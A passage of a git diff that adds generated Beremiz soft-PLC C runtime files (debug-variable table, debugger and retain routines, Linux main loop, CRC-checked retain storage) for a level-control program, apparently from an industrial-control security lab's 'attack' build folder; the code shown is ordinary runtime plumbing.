UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.SCALED_REAL), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MAX), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.REAL_MIN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MAX), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RAW_MIN), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.RATE), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_REAL2.OFFSET), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_IN), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.UINT_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.DIV1_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.MUL4_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SCALE_TO_UINT0.REAL_TO_UINT6_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB32_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.MUL33_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.SUB30_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.LEVEL_CONTROL0.LIMIT25_OUT), REAL_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT), BOOL_P_ENUM}, +{&(RES0__INSTANCE0.RUN_BIT0), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.EN), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP_C), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.FLOW_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.A_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.PRESS_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.OVER_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.LEVEL_SP), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE3_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE7_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE11_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE15_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.INITIALIZE_SP0.MOVE19_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.ADD87_OUT), UINT_ENUM}, +{&(RES0__INSTANCE0.GE91_OUT), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_ENO), BOOL_ENUM}, +{&(RES0__INSTANCE0.MOVE92_OUT), UINT_ENUM} +}; + +typedef void(*__for_each_variable_do_fp)(dbgvardsc_t*); +void __for_each_variable_do(__for_each_variable_do_fp fp) +{ + unsigned int i; + for(i = 0; i < sizeof(dbgvardsc)/sizeof(dbgvardsc_t); i++){ + dbgvardsc_t *dsc = &dbgvardsc[i]; + if(dsc->type != UNKNOWN_ENUM) + (*fp)(dsc); + } +} + +#define __Unpack_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + *flags = ((__IEC_##TYPENAME##_t *)varp)->flags;\ + forced_value_p = *real_value_p = &((__IEC_##TYPENAME##_t *)varp)->value;\ + break; + +#define __Unpack_case_p(TYPENAME)\ + case TYPENAME##_O_ENUM :\ + *flags = __IEC_OUTPUT_FLAG;\ + case TYPENAME##_P_ENUM :\ + *flags |= ((__IEC_##TYPENAME##_p *)varp)->flags;\ + *real_value_p = ((__IEC_##TYPENAME##_p *)varp)->value;\ + forced_value_p = &((__IEC_##TYPENAME##_p *)varp)->fvalue;\ + break; + +void* UnpackVar(dbgvardsc_t *dsc, void **real_value_p, char *flags) +{ + void *varp = dsc->ptr; + void *forced_value_p = NULL; + *flags = 0; + /* find data to copy*/ + switch(dsc->type){ + __ANY(__Unpack_case_t) + __ANY(__Unpack_case_p) + default: + break; + } + if (*flags & __IEC_FORCE_FLAG) + return forced_value_p; + return *real_value_p; +} + +void Remind(unsigned int offset, unsigned int count, void * p); + +void RemindIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Remind(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } +} + +extern int CheckRetainBuffer(void); +extern void InitRetain(void); + +void __init_debug(void) +{ + /* init local static vars */ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + buffer_state = BUFFER_FREE; +#endif + + retain_offset = 0; + InitRetain(); + /* Iterate over all variables to fill debug buffer */ + if(CheckRetainBuffer()){ + __for_each_variable_do(RemindIterator); + }else{ + char mstr[] = "RETAIN memory invalid - defaults used"; + LogMessage(LOG_WARNING, mstr, sizeof(mstr)); + } + retain_offset = 0; +} + +extern void InitiateDebugTransfer(void); +extern void CleanupRetain(void); + +extern unsigned long __tick; + +void __cleanup_debug(void) +{ +#ifndef TARGET_ONLINE_DEBUG_DISABLE + buffer_cursor = debug_buffer; + InitiateDebugTransfer(); +#endif + + CleanupRetain(); +} + +void __retrieve_debug(void) +{ +} + + +void Retain(unsigned int offset, unsigned int count, void * p); + +static inline void BufferIterator(dbgvardsc_t *dsc, int do_debug) +{ + void *real_value_p = NULL; + void *visible_value_p = NULL; + char flags = 0; + + visible_value_p = UnpackVar(dsc, &real_value_p, &flags); + + if(flags & ( __IEC_DEBUG_FLAG | __IEC_RETAIN_FLAG)){ + USINT size = __get_type_enum_size(dsc->type); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + if(flags & __IEC_DEBUG_FLAG){ + /* copy visible variable to buffer */; + if(do_debug){ + /* compute next cursor positon. + No need to check overflow, as BUFFER_SIZE + is computed large enough */ + if((dsc->type == STRING_ENUM) || + (dsc->type == STRING_P_ENUM) || + (dsc->type == STRING_O_ENUM)){ + /* optimization for strings */ + size = ((STRING*)visible_value_p)->len + 1; + } + char* next_cursor = buffer_cursor + size; + /* copy data to the buffer */ + memcpy(buffer_cursor, visible_value_p, size); + /* increment cursor according size*/ + buffer_cursor = next_cursor; + } + /* re-force real value of outputs (M and Q)*/ + if((flags & __IEC_FORCE_FLAG) && (flags & __IEC_OUTPUT_FLAG)){ + memcpy(real_value_p, visible_value_p, size); + } + } +#endif + + if(flags & __IEC_RETAIN_FLAG){ + /* compute next cursor positon*/ + unsigned int next_retain_offset = retain_offset + size; + /* if buffer not full */ + Retain(retain_offset, size, real_value_p); + /* increment cursor according size*/ + retain_offset = next_retain_offset; + } + } +} + +void DebugIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 1); +} + +void RetainIterator(dbgvardsc_t *dsc){ + BufferIterator(dsc, 0); +} + + +unsigned int retain_size = 0; + +/* GetRetainSizeIterator */ +void GetRetainSizeIterator(dbgvardsc_t *dsc) +{ + void *real_value_p = NULL; + char flags = 0; + UnpackVar(dsc, &real_value_p, &flags); + + if(flags & __IEC_RETAIN_FLAG){ + USINT size = __get_type_enum_size(dsc->type); + /* Calc retain buffer size */ + retain_size += size; + } +} + +/* Return size of all retain variables */ +unsigned int GetRetainSize(void) +{ + __for_each_variable_do(GetRetainSizeIterator); + return retain_size; +} + + +extern void PLC_GetTime(IEC_TIME*); +extern int TryEnterDebugSection(void); +extern long AtomicCompareExchange(long*, long, long); +extern long long AtomicCompareExchange64(long long* , long long , long long); +extern void LeaveDebugSection(void); +extern void ValidateRetainBuffer(void); +extern void InValidateRetainBuffer(void); + +void __publish_debug(void) +{ + retain_offset = 0; + InValidateRetainBuffer(); + +#ifndef TARGET_ONLINE_DEBUG_DISABLE + /* Check there is no running debugger re-configuration */ + if(TryEnterDebugSection()){ + /* Lock buffer */ + long latest_state = AtomicCompareExchange( + &buffer_state, + BUFFER_FREE, + BUFFER_BUSY); + + /* If buffer was free */ + if(latest_state == BUFFER_FREE) + { + /* Reset buffer cursor */ + buffer_cursor = debug_buffer; + /* Iterate over all variables to fill debug buffer */ + __for_each_variable_do(DebugIterator); + + /* Leave debug section, + * Trigger asynchronous transmission + * (returns immediately) */ + InitiateDebugTransfer(); /* size */ + }else{ + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + LeaveDebugSection(); + }else +#endif + { + /* when not debugging, do only retain */ + __for_each_variable_do(RetainIterator); + } + ValidateRetainBuffer(); +} + +#ifndef TARGET_ONLINE_DEBUG_DISABLE +#define __RegisterDebugVariable_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_t *)varp)->value = *((TYPENAME *)force);\ + break; +#define __RegisterDebugVariable_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force)\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + break;\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags |= flags;\ + if(force){\ + ((__IEC_##TYPENAME##_p *)varp)->fvalue = *((TYPENAME *)force);\ + *(((__IEC_##TYPENAME##_p *)varp)->value) = *((TYPENAME *)force);\ + }\ + break; +void RegisterDebugVariable(unsigned int idx, void* force) +{ + if(idx < sizeof(dbgvardsc)/sizeof(dbgvardsc_t)){ + unsigned char flags = force ? + __IEC_DEBUG_FLAG | __IEC_FORCE_FLAG : + __IEC_DEBUG_FLAG; + dbgvardsc_t *dsc = &dbgvardsc[idx]; + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__RegisterDebugVariable_case_t) + __ANY(__RegisterDebugVariable_case_p) + default: + break; + } + } +} + +#define __ResetDebugVariablesIterator_case_t(TYPENAME) \ + case TYPENAME##_ENUM :\ + ((__IEC_##TYPENAME##_t *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +#define __ResetDebugVariablesIterator_case_p(TYPENAME)\ + case TYPENAME##_P_ENUM :\ + case TYPENAME##_O_ENUM :\ + ((__IEC_##TYPENAME##_p *)varp)->flags &= ~(__IEC_DEBUG_FLAG|__IEC_FORCE_FLAG);\ + break; + +void ResetDebugVariablesIterator(dbgvardsc_t *dsc) +{ + /* force debug flag to 0*/ + void *varp = dsc->ptr; + switch(dsc->type){ + __ANY(__ResetDebugVariablesIterator_case_t) + __ANY(__ResetDebugVariablesIterator_case_p) + default: + break; + } +} + +void ResetDebugVariables(void) +{ + __for_each_variable_do(ResetDebugVariablesIterator); +} + +void FreeDebugData(void) +{ + /* atomically mark buffer as free */ + AtomicCompareExchange( + &buffer_state, + BUFFER_BUSY, + BUFFER_FREE); +} +int WaitDebugData(unsigned long *tick); +/* Wait until debug data ready and return pointer to it */ +int GetDebugData(unsigned long *tick, unsigned long *size, void **buffer){ + int wait_error = WaitDebugData(tick); + if(!wait_error){ + *size = buffer_cursor - debug_buffer; + *buffer = debug_buffer; + } + return wait_error; +} +#endif +#endif + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o new file mode 100644 index 0000000..b9d0e3e --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_debugger.o Binary files differ diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c new file mode 100644 index 0000000..8d7b240 --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/plc_main.c @@ -0,0 +1,888 @@ +/** + * Head of code common to all C targets + **/ + +#include "beremiz.h" +#include +/* + * Prototypes of functions provided by generated C softPLC + **/ +void config_run__(unsigned long tick); +void config_init__(void); + +/* + * Prototypes of functions provided by generated target C code + * */ +long long AtomicCompareExchange64(long long*, long long, long long); +void __init_debug(void); +void __cleanup_debug(void); +/*void __retrieve_debug(void);*/ +void __publish_debug(void); + +/* + * Variables used by generated C softPLC and plugins + **/ +IEC_TIME __CURRENT_TIME; +IEC_BOOL __DEBUG = 0; +unsigned long __tick = 0; +char *PLC_ID = NULL; + +/* + * Variable generated by C softPLC and plugins + **/ +extern unsigned long greatest_tick_count__; + +/* Help to quit cleanly when init fail at a certain level */ +static int init_level = 0; + +/* + * Prototypes of functions exported by plugins + **/ +int __init_py_ext(int argc,char **argv); +void __cleanup_py_ext(void); +void __retrieve_py_ext(void); +void __publish_py_ext(void); + +/* + * Retrieve input variables, run PLC and publish output variables + **/ +void __run(void) +{ + __tick++; + if (greatest_tick_count__) + __tick %= greatest_tick_count__; + + __retrieve_py_ext(); + + /*__retrieve_debug();*/ + + config_run__(__tick); + + __publish_debug(); + + __publish_py_ext(); + +} + +/* + * Initialize variables according to PLC's default values, + * and then init plugins with that values + **/ +int __init(int argc,char **argv) +{ + int res = 0; + init_level = 0; + + /* Effective tick time with 1ms default value */ + if(!common_ticktime__) + common_ticktime__ = 1000000; + + config_init__(); + __init_debug(); + init_level=1; if((res = __init_py_ext(argc,argv))){return res;} + return res; +} +/* + * Calls plugin cleanup proc. + **/ +void __cleanup(void) +{ + if(init_level >= 1) __cleanup_py_ext(); + __cleanup_debug(); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME); +void PLC_SetTimer(unsigned long long next, unsigned long long period); + + + +/** + * Linux specific code + **/ + +#include +#include +#include +#include +#include +#include +#include +#include + +static sem_t Run_PLC; + +long AtomicCompareExchange(long* atomicvar,long compared, long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} +long long AtomicCompareExchange64(long long* atomicvar, long long compared, long long exchange) +{ + return __sync_val_compare_and_swap(atomicvar, compared, exchange); +} + +void PLC_GetTime(IEC_TIME *CURRENT_TIME) +{ + struct timespec tmp; + clock_gettime(CLOCK_REALTIME, &tmp); + CURRENT_TIME->tv_sec = tmp.tv_sec; + CURRENT_TIME->tv_nsec = tmp.tv_nsec; +} + +void PLC_timer_notify(sigval_t val) +{ + PLC_GetTime(&__CURRENT_TIME); + sem_post(&Run_PLC); +} + +timer_t PLC_timer; + +void PLC_SetTimer(unsigned long long next, unsigned long long period) +{ + struct itimerspec timerValues; + /* + printf("SetTimer(%lld,%lld)\n",next, period); + */ + memset (&timerValues, 0, sizeof (struct itimerspec)); + { +#ifdef __lldiv_t_defined + lldiv_t nxt_div = lldiv(next, 1000000000); + lldiv_t period_div = lldiv(period, 1000000000); + timerValues.it_value.tv_sec = nxt_div.quot; + timerValues.it_value.tv_nsec = nxt_div.rem; + timerValues.it_interval.tv_sec = period_div.quot; + timerValues.it_interval.tv_nsec = period_div.rem; +#else + timerValues.it_value.tv_sec = next / 1000000000; + timerValues.it_value.tv_nsec = next % 1000000000; + timerValues.it_interval.tv_sec = period / 1000000000; + timerValues.it_interval.tv_nsec = period % 1000000000; +#endif + } + timer_settime (PLC_timer, 0, &timerValues, NULL); +} +// +void catch_signal(int sig) +{ +// signal(SIGTERM, catch_signal); + signal(SIGINT, catch_signal); + printf("Got Signal %d\n",sig); + exit(0); +} + + +static unsigned long __debug_tick; + +pthread_t PLC_thread; +static pthread_mutex_t python_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t python_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_wait_mutex = PTHREAD_MUTEX_INITIALIZER; +static pthread_mutex_t debug_mutex = PTHREAD_MUTEX_INITIALIZER; + +int PLC_shutdown = 0; + +int ForceSaveRetainReq(void) { + return PLC_shutdown; +} + +void PLC_thread_proc(void *arg) +{ + while (!PLC_shutdown) { + sem_wait(&Run_PLC); + __run(); + } + pthread_exit(0); +} + +#define maxval(a,b) ((a>b)?a:b) +int startPLC(int argc,char **argv) +{ + struct sigevent sigev; + setlocale(LC_NUMERIC, "C"); + + PLC_shutdown = 0; + + sem_init(&Run_PLC, 0, 0); + + pthread_create(&PLC_thread, NULL, (void*) &PLC_thread_proc, NULL); + + memset (&sigev, 0, sizeof (struct sigevent)); + sigev.sigev_value.sival_int = 0; + sigev.sigev_notify = SIGEV_THREAD; + sigev.sigev_notify_attributes = NULL; + sigev.sigev_notify_function = PLC_timer_notify; + + pthread_mutex_init(&debug_wait_mutex, NULL); + pthread_mutex_init(&debug_mutex, NULL); + pthread_mutex_init(&python_wait_mutex, NULL); + pthread_mutex_init(&python_mutex, NULL); + + pthread_mutex_lock(&debug_wait_mutex); + pthread_mutex_lock(&python_wait_mutex); + + timer_create (CLOCK_MONOTONIC, &sigev, &PLC_timer); + if( __init(argc,argv) == 0 ){ + PLC_SetTimer(common_ticktime__,common_ticktime__); + + /* install signal handler for manual break */ + signal(SIGINT, catch_signal); + }else{ + return 1; + } + return 0; +} + +int TryEnterDebugSection(void) +{ + if (pthread_mutex_trylock(&debug_mutex) == 0){ + /* Only enter if debug active */ + if(__DEBUG){ + return 1; + } + pthread_mutex_unlock(&debug_mutex); + } + return 0; +} + +void LeaveDebugSection(void) +{ + pthread_mutex_unlock(&debug_mutex); +} + +int stopPLC() +{ + /* Stop the PLC */ + PLC_shutdown = 1; + sem_post(&Run_PLC); + PLC_SetTimer(0,0); + pthread_join(PLC_thread, NULL); + sem_destroy(&Run_PLC); + timer_delete (PLC_timer); + __cleanup(); + pthread_mutex_destroy(&debug_wait_mutex); + pthread_mutex_destroy(&debug_mutex); + pthread_mutex_destroy(&python_wait_mutex); + pthread_mutex_destroy(&python_mutex); + return 0; +} + +extern unsigned long __tick; + +int WaitDebugData(unsigned long *tick) +{ + int res; + if (PLC_shutdown) return 1; + /* Wait signal from PLC thread */ + res = pthread_mutex_lock(&debug_wait_mutex); + *tick = __debug_tick; + return res; +} + +/* Called by PLC thread when debug_publish finished + * This is supposed to unlock debugger thread in WaitDebugData*/ +void InitiateDebugTransfer() +{ + /* remember tick */ + __debug_tick = __tick; + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&debug_wait_mutex); +} + +int suspendDebug(int disable) +{ + /* Prevent PLC to enter debug code */ + pthread_mutex_lock(&debug_mutex); + /*__DEBUG is protected by this mutex */ + __DEBUG = !disable; + if (disable) + pthread_mutex_unlock(&debug_mutex); + return 0; +} + +void resumeDebug(void) +{ + __DEBUG = 1; + /* Let PLC enter debug code */ + pthread_mutex_unlock(&debug_mutex); +} + +/* from plc_python.c */ +int WaitPythonCommands(void) +{ + /* Wait signal from PLC thread */ + return pthread_mutex_lock(&python_wait_mutex); +} + +/* Called by PLC thread on each new python command*/ +void UnBlockPythonCommands(void) +{ + /* signal debugger thread it can read data */ + pthread_mutex_unlock(&python_wait_mutex); +} + +int TryLockPython(void) +{ + return pthread_mutex_trylock(&python_mutex) == 0; +} + +void UnLockPython(void) +{ + pthread_mutex_unlock(&python_mutex); +} + +void LockPython(void) +{ + pthread_mutex_lock(&python_mutex); +} + +/* + This file is part of Beremiz, a Integrated Development Environment for + programming IEC 61131-3 automates supporting plcopen standard and CanFestival. + + See COPYING.runtime + + Copyright (C) 2018: Sergey Surkov + Copyright (C) 2018: Andrey Skvortsov + +*/ + +#ifndef HAVE_RETAIN +#include +#include +#include +#include "iec_types.h" + +int GetRetainSize(void); + +/* Retain buffer. */ +FILE *retain_buffer; +const char rb_file[] = "retain_buffer_file"; +const char rb_file_bckp[] = "retain_buffer_file.bak"; + + +/* Retain header struct. */ +struct retain_info_t { + uint32_t retain_size; + uint32_t hash_size; + uint8_t* hash; + uint32_t header_offset; + uint32_t header_crc; +}; + +/* Init retain info structure. */ +struct retain_info_t retain_info; + +/* CRC lookup table and initial state. */ +static const uint32_t crc32_table[256] = { + 0x00000000, 0x77073096, 0xEE0E612C, 0x990951BA, 0x076DC419, 0x706AF48F, 0xE963A535, 0x9E6495A3, + 0x0EDB8832, 0x79DCB8A4, 0xE0D5E91E, 0x97D2D988, 0x09B64C2B, 0x7EB17CBD, 0xE7B82D07, 0x90BF1D91, + 0x1DB71064, 0x6AB020F2, 0xF3B97148, 0x84BE41DE, 0x1ADAD47D, 0x6DDDE4EB, 0xF4D4B551, 0x83D385C7, + 0x136C9856, 0x646BA8C0, 0xFD62F97A, 0x8A65C9EC, 0x14015C4F, 0x63066CD9, 0xFA0F3D63, 0x8D080DF5, + 0x3B6E20C8, 0x4C69105E, 0xD56041E4, 0xA2677172, 0x3C03E4D1, 0x4B04D447, 0xD20D85FD, 0xA50AB56B, + 0x35B5A8FA, 0x42B2986C, 0xDBBBC9D6, 0xACBCF940, 0x32D86CE3, 0x45DF5C75, 0xDCD60DCF, 0xABD13D59, + 0x26D930AC, 0x51DE003A, 0xC8D75180, 0xBFD06116, 0x21B4F4B5, 0x56B3C423, 0xCFBA9599, 0xB8BDA50F, + 0x2802B89E, 0x5F058808, 0xC60CD9B2, 0xB10BE924, 0x2F6F7C87, 0x58684C11, 0xC1611DAB, 0xB6662D3D, + 0x76DC4190, 0x01DB7106, 0x98D220BC, 0xEFD5102A, 0x71B18589, 0x06B6B51F, 0x9FBFE4A5, 0xE8B8D433, + 0x7807C9A2, 0x0F00F934, 0x9609A88E, 0xE10E9818, 0x7F6A0DBB, 0x086D3D2D, 0x91646C97, 0xE6635C01, + 0x6B6B51F4, 0x1C6C6162, 0x856530D8, 0xF262004E, 0x6C0695ED, 0x1B01A57B, 0x8208F4C1, 0xF50FC457, + 0x65B0D9C6, 0x12B7E950, 0x8BBEB8EA, 0xFCB9887C, 0x62DD1DDF, 0x15DA2D49, 0x8CD37CF3, 0xFBD44C65, + 0x4DB26158, 0x3AB551CE, 0xA3BC0074, 0xD4BB30E2, 0x4ADFA541, 0x3DD895D7, 0xA4D1C46D, 0xD3D6F4FB, + 0x4369E96A, 0x346ED9FC, 0xAD678846, 0xDA60B8D0, 0x44042D73, 0x33031DE5, 0xAA0A4C5F, 0xDD0D7CC9, + 0x5005713C, 0x270241AA, 0xBE0B1010, 0xC90C2086, 0x5768B525, 0x206F85B3, 0xB966D409, 0xCE61E49F, + 0x5EDEF90E, 0x29D9C998, 0xB0D09822, 0xC7D7A8B4, 0x59B33D17, 0x2EB40D81, 0xB7BD5C3B, 0xC0BA6CAD, + 0xEDB88320, 0x9ABFB3B6, 0x03B6E20C, 0x74B1D29A, 0xEAD54739, 0x9DD277AF, 0x04DB2615, 0x73DC1683, + 0xE3630B12, 0x94643B84, 0x0D6D6A3E, 0x7A6A5AA8, 0xE40ECF0B, 0x9309FF9D, 0x0A00AE27, 0x7D079EB1, + 0xF00F9344, 0x8708A3D2, 0x1E01F268, 0x6906C2FE, 0xF762575D, 0x806567CB, 0x196C3671, 0x6E6B06E7, + 0xFED41B76, 0x89D32BE0, 0x10DA7A5A, 0x67DD4ACC, 0xF9B9DF6F, 0x8EBEEFF9, 0x17B7BE43, 0x60B08ED5, + 0xD6D6A3E8, 0xA1D1937E, 0x38D8C2C4, 0x4FDFF252, 0xD1BB67F1, 0xA6BC5767, 0x3FB506DD, 0x48B2364B, + 0xD80D2BDA, 0xAF0A1B4C, 0x36034AF6, 0x41047A60, 0xDF60EFC3, 0xA867DF55, 0x316E8EEF, 0x4669BE79, + 0xCB61B38C, 0xBC66831A, 0x256FD2A0, 0x5268E236, 0xCC0C7795, 0xBB0B4703, 0x220216B9, 0x5505262F, + 0xC5BA3BBE, 0xB2BD0B28, 0x2BB45A92, 0x5CB36A04, 0xC2D7FFA7, 0xB5D0CF31, 0x2CD99E8B, 0x5BDEAE1D, + 0x9B64C2B0, 0xEC63F226, 0x756AA39C, 0x026D930A, 0x9C0906A9, 0xEB0E363F, 0x72076785, 0x05005713, + 0x95BF4A82, 0xE2B87A14, 0x7BB12BAE, 0x0CB61B38, 0x92D28E9B, 0xE5D5BE0D, 0x7CDCEFB7, 0x0BDBDF21, + 0x86D3D2D4, 0xF1D4E242, 0x68DDB3F8, 0x1FDA836E, 0x81BE16CD, 0xF6B9265B, 0x6FB077E1, 0x18B74777, + 0x88085AE6, 0xFF0F6A70, 0x66063BCA, 0x11010B5C, 0x8F659EFF, 0xF862AE69, 0x616BFFD3, 0x166CCF45, + 0xA00AE278, 0xD70DD2EE, 0x4E048354, 0x3903B3C2, 0xA7672661, 0xD06016F7, 0x4969474D, 0x3E6E77DB, + 0xAED16A4A, 0xD9D65ADC, 0x40DF0B66, 0x37D83BF0, 0xA9BCAE53, 0xDEBB9EC5, 0x47B2CF7F, 0x30B5FFE9, + 0xBDBDF21C, 0xCABAC28A, 0x53B39330, 0x24B4A3A6, 0xBAD03605, 0xCDD70693, 0x54DE5729, 0x23D967BF, + 0xB3667A2E, 0xC4614AB8, 0x5D681B02, 0x2A6F2B94, 0xB40BBE37, 0xC30C8EA1, 0x5A05DF1B, 0x2D02EF8D, +}; +uint32_t retain_crc; + + +/* Calculate CRC32 for len bytes from pointer buf with init starting value. */ +uint32_t GenerateCRC32Sum(const void* buf, unsigned int len, uint32_t init) +{ + uint32_t crc = ~init; + unsigned char* current = (unsigned char*) buf; + while (len--) + crc = crc32_table[(crc ^ *current++) & 0xFF] ^ (crc >> 8); + return ~crc; +} + +/* Calc CRC32 for retain file byte by byte. */ +int CheckFileCRC(FILE* file_buffer) +{ + /* Set the magic constant for one-pass CRC calc according to ZIP CRC32. */ + const uint32_t magic_number = 0x2144df1c; + + /* CRC initial state. */ + uint32_t calc_crc32 = 0; + char data_block = 0; + + while(!feof(file_buffer)){ + if (fread(&data_block, sizeof(data_block), 1, file_buffer)) + calc_crc32 = GenerateCRC32Sum(&data_block, sizeof(char), calc_crc32); + } + + /* Compare crc result with a magic number. */ + return (calc_crc32 == magic_number) ? 1 : 0; +} + +/* Compare current hash with hash from file byte by byte. */ +int CheckFilehash(void) +{ + int k; + int offset = sizeof(retain_info.retain_size); + + rewind(retain_buffer); + fseek(retain_buffer, offset , SEEK_SET); + + uint32_t size; + fread(&size, sizeof(size), 1, retain_buffer); + if (size != retain_info.hash_size) + return 0; + + for(k = 0; k < retain_info.hash_size; k++){ + uint8_t file_digit; + fread(&file_digit, sizeof(char), 1, retain_buffer); + if (file_digit != *(retain_info.hash+k)) + return 0; + } + + return 1; +} + +void InitRetain(void) +{ + int i; + + /* Get retain size in bytes */ + retain_info.retain_size = GetRetainSize(); + + /* Hash stored in retain file as array of char in hex digits + (that's why we divide strlen in two). */ + retain_info.hash_size = PLC_ID ? strlen(PLC_ID)/2 : 0; + //retain_info.hash_size = 0; + retain_info.hash = malloc(retain_info.hash_size); + + /* Transform hash string into byte sequence. */ + for (i = 0; i < retain_info.hash_size; i++) { + int byte = 0; + sscanf((PLC_ID + i*2), "%02X", &byte); + retain_info.hash[i] = byte; + } + + /* Calc header offset. */ + retain_info.header_offset = sizeof(retain_info.retain_size) + \ + sizeof(retain_info.hash_size) + \ + retain_info.hash_size; + + /* Set header CRC initial state. */ + retain_info.header_crc = 0; + + /* Calc crc for header. */ + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.retain_size, + sizeof(retain_info.retain_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + &retain_info.hash_size, + sizeof(retain_info.hash_size), + retain_info.header_crc); + + retain_info.header_crc = GenerateCRC32Sum( + retain_info.hash, + retain_info.hash_size, + retain_info.header_crc); +} + +void CleanupRetain(void) +{ + /* Free hash memory. */ + free(retain_info.hash); +} + +int CheckRetainFile(const char * file) +{ + retain_buffer = fopen(file, "rb"); + if (retain_buffer) { + /* Check CRC32 and hash. */ + if (CheckFileCRC(retain_buffer)) + if (CheckFilehash()) + return 1; + fclose(retain_buffer); + retain_buffer = NULL; + } + return 0; +} + +int CheckRetainBuffer(void) +{ + retain_buffer = NULL; + if (!retain_info.retain_size) + return 1; + + /* Check latest retain file. */ + if (CheckRetainFile(rb_file)) + return 1; + + /* Check if we have backup. */ + if (CheckRetainFile(rb_file_bckp)) + return 1; + + /* We don't have any valid retain buffer - nothing to remind. */ + return 0; +} + +#ifndef FILE_RETAIN_SAVE_PERIOD_S +#define FILE_RETAIN_SAVE_PERIOD_S 1.0 +#endif + +static double CalcDiffSeconds(IEC_TIME* t1, IEC_TIME *t2) +{ + IEC_TIME dt ={ + t1->tv_sec - t2->tv_sec, + t1->tv_nsec - t2->tv_nsec + }; + + if ((dt.tv_nsec < 